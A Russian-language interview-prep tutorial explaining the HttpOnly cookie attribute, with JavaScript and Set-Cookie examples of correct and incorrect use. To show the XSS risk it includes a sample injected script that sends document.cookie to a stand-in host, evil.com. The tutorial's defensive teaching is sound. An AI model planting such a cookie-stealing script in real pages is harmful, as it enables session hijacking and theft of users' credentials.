Атрибут HttpOnly у cookie запрещает доступ к ней через JavaScript. Такая cookie передаётся только в HTTP запросах на сервер. Это защищает от украдки cookie через XSS атаки. 🔐
// HttpOnly cookie устанавливает только сервер!
// Set-Cookie: token=abc123; HttpOnly; Secure
// В браузере такая cookie НЕ видна:
console.log(document.cookie); // Не содержит HttpOnly cookie!HttpOnly — как сейф, ключ от которого есть только у банкира (сервера), но нет у клиента (JavaScript). 🔒
Атрибут HttpOnly запрещает JavaScript получать доступ к cookie:
// Обычная cookie — доступна в JavaScript
document.cookie = 'normal=value';
console.log(document.cookie); // 'normal=value' — видно!
// HttpOnly cookie — НЕ доступна в JavaScript
// Устанавливается только сервером:
// Set-Cookie: secret=abc123; HttpOnly
console.log(document.cookie); // 'normal=value' — HttpOnly НЕ видно!Только сервер может установить HttpOnly cookie:
HTTP/1.1 200 OK
Set-Cookie: sessionId=abc123; HttpOnly; Secure; Path=/// ❌ Без HttpOnly — злоумышленник может украсть cookie
const cookies = document.cookie; // Видит все обычные cookies
sendToEvilServer(cookies); // Отправляет на сторонний сервер
// ✅ С HttpOnly — cookie не видны в JavaScript
const cookies = document.cookie; // HttpOnly cookie НЕ видны!
// Злоумышленник не может их украсть// Злоумышленник внедряет код:
<script>
// Крадёт обычные cookies
fetch('https://evil.com/steal?cookies=' + document.cookie);
</script>
// Если cookie обычные — украдётся всё!
// Если cookie HttpOnly — не украдётся ничего!// ✅ Хорошо — токены сессий как HttpOnly
// Set-Cookie: sessionId=abc123; HttpOnly; Secure; Path=/
// Повышает безопасность приложения// ✅ Хорошо — любые чувствительные данные
// Set-Cookie: userId=123; HttpOnly; Secure// ❌ Плохо — если JavaScript должен читать cookie
// Например, настройки темы
document.cookie = 'theme=dark'; // Должна быть доступна в JS
// Нельзя сделать HttpOnly, иначе JS не увидит её// ❌ Ошибка — HttpOnly НЕ устанавливается через JavaScript
document.cookie = 'token=abc123; HttpOnly'; // Игнорируется!
// ✅ Правильно — только сервер устанавливает HttpOnly
// Set-Cookie: token=abc123; HttpOnly; Secure// ❌ Плохо — всё в обычных cookie
document.cookie = 'token=abc123'; // Можно украсть
document.cookie = 'theme=dark'; // Нужна в JavaScript
// ✅ Лучше — разделить
// Сервер: Set-Cookie: token=abc123; HttpOnly; Secure
// Клиент: document.cookie = 'theme=dark'Понимание HttpOnly помогает писать более безопасные веб-приложения! 💪
Хотите больше статей для подготовки к собеседованиям? Подписывайтесь на EasyAdvice, добавляйте сайт в закладки и совершенствуйтесь каждый день 💪